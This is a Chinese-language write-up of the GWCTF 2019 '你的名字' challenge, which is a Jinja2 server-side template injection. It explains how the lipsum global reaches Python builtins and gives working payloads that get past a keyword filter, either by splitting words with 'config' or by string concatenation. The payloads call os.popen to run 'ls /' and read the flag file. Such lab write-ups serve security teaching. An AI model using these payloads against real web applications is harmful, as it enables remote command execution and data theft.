[GWCTF 2019]你的名字1

很容易猜到是模板,但是普通的{{}}不行,但是单个大括号就没被过滤

看来是waf绕过

试了一下{%...%}

image-20260328203024015

我们需要用到lipsum,那么它是什么呢?

1.lipsum

image-20260325141636271

在 SSTI(服务端模板注入)中,它是 Jinja2 引擎内置的一个生成占位文本(Lorem Ipsum)的函数

在 Flask/Jinja2 的沙箱环境里,很多全局变量(如 os, sys, __builtins__)默认是被禁用的。你直接输入 {{ os }} 会报错。

但是,lipsum 通常是默认开启且合法的

它存在于 Jinja2 的 globals(全局命名空间)中。

因为它是一个函数,它身上带着 Python 函数共有的属性:__globals__

payload:

1
{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('ls /').read()%}

image-20260328204910348

1
{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('cat /flag_1s_Hera').read()%}

或者,利用拼接

1
2
3
4
5
6
7
8
9
10
11
12
name={%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('ls /')['read']())%}


{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}

image-20260328205036582

image-20260328204642204